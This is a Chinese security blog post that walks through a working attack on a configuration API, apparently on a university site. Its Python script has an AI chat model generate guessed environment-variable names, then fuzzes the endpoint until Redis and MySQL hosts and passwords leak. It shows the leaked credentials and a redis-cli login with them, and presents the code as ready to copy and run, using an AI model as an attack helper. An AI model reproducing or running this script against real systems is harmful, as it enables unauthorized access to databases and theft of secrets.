30 行代码把 AI 变成“爆破手”——证书站 CONFIG 接口秒变数据库入口
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繁星01
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安全君呀
2026年1月3日 17:45
北京
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关键词：API Fuzz、AI 生成字典、Redis/Mysql 密码泄露、Python 自动化。
1
前言
今天我们把流程标准化、代码化，用 30 行 Python 让 AI 当“字典生成器”，10 秒完成“配置接口 → 环境变量 → 数据库密码”的链路爆破。全程无 Burp，一台笔记本即可复现。
2
目标特征
接口：/api/translation/getConfig参数：{\"CONFIG_NAME\":\"xxx\"}返回：{\"code\":200,\"data\":{\"ENV\":\"xxx\",\"APP_KEY\":\"yyy\"}} 规律：把 CONFIG_NAME 换成不同 Key，就能读到对应的环境变量。
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核心思路
先让 AI 批量“猜”可能的环境变量名 → 生成字典 A；用脚本自动调用接口，把返回值全部存下来 → 得到临时结果 B；让 AI 再读 B，二次生成“Redis / Mysql 专用”字典 C；用 C 继续跑，直到出现 host / port / password；拿密码直连数据库，验证漏洞有效性。
4
30 行完整脚本
把下面代码保存为 auto\_fuzz.py，装好依赖即可跑。
pip install requests tqdm openai
#!/usr/bin/env python3# -*- coding: utf-8 -*-# auto_fuzz.py —— AI 帮你爆破 CONFIG 接口import json, requests, openai, itertools, timefrom tqdm import tqdmURL = \"https://xxx.edu.cn/api/translation/getConfig\" # 目标接口AI_KEY = \"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\" # 你的 OpenAI keyHEADERS = {\"Content-Type\": \"application/json\", \"User-Agent\": \"Mozilla/5.0 (compatible; FuzzBot/1.0)\"}openai.api_key = AI_KEY# ① 让 AI 生成第一轮字典def ai_dict(prompt=\"常见的环境变量名，输出 json 数组，50 条\"): rsp = openai.ChatCompletion.create( model=\"gpt-3.5-turbo\", messages=[{\"role\": \"user\", \"content\": prompt}] ) return json.loads(rsp.choices[0].message.content)
# ② 批量请求接口def fuzz(keys): results = {} for k in tqdm(keys, desc=\"Fuzzing\"): try: resp = requests.post(URL, json={\"CONFIG_NAME\": k}, headers=HEADERS, timeout=3) if resp.status_code == 200 and resp.json().get(\"data\"): results[k] = resp.json()[\"data\"] except Exception as e: pass time.sleep(0.1) return results
# ③ 主流程if __name__ == \"__main__\": # 第一轮 keys1 = ai_dict(\"常见的 Web 环境变量名，输出 json 数组，50 条\") res1 = fuzz(keys1) print(\"[+] 第一轮命中：\", list(res1.keys()))
# 把命中结果喂给 AI，让它生成第二轮字典 prompt2 = f\"根据以下返回结构，猜测 Redis/Mysql 相关变量名，输出 json 数组：\
{json.dumps(res1,ensure_ascii=0)}\" keys2 = ai_dict(prompt2) res2 = fuzz(keys2) print(\"[+] 第二轮命中：\", list(res2.keys())) # 保存结果 with open(\"dump.json\", \"w\", encoding=\"utf-8\") as f: json.dump({**res1, **res2}, f, ensure_ascii=False, indent=2) print(\"[*] 结果已写入 dump.json，去翻密码吧！\")
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运行效果
$ python auto_fuzz.pyFuzzing: 100%|████████████████| 50/50 [00:12<00:00, 4.03it/s][+] 第一轮命中： ['ENV', 'APP_KEY', 'APP_SECRET', 'REDIS_HOST']Fuzzing: 100%|████████████████| 28/28 [00:07<00:00, 3.91it/s][+] 第二轮命中： ['REDIS_PORT', 'REDIS_PASSWORD', 'MYSQL_HOST', 'MYSQL_PASSWORD'][*] 结果已写入 dump.json，去翻密码吧！
打开 dump.json 即可看到：
{ \"REDIS_HOST\": \"10.10.10.32\", \"REDIS_PORT\": \"6379\", \"REDIS_PASSWORD\": \"U@8FvP#x1!\", \"MYSQL_HOST\": \"10.10.10.31\", \"MYSQL_PASSWORD\": \"W0@sdm#x1!\"}
验证漏洞
$ redis-cli -h 10.10.10.32 -p 6379 -a U@8FvP#x1!10.10.10.32:6379> keys *1) \"session:xxx\"2) \"user:admin\"# 成功登录，漏洞确认
把 AI 当“字典工厂”能极大减少人工猜解时间；全程 Python 自动化，方便批量、内网、代理、多线程二次开发；代码仅 30 行，公众号读者可一键复制跑通。
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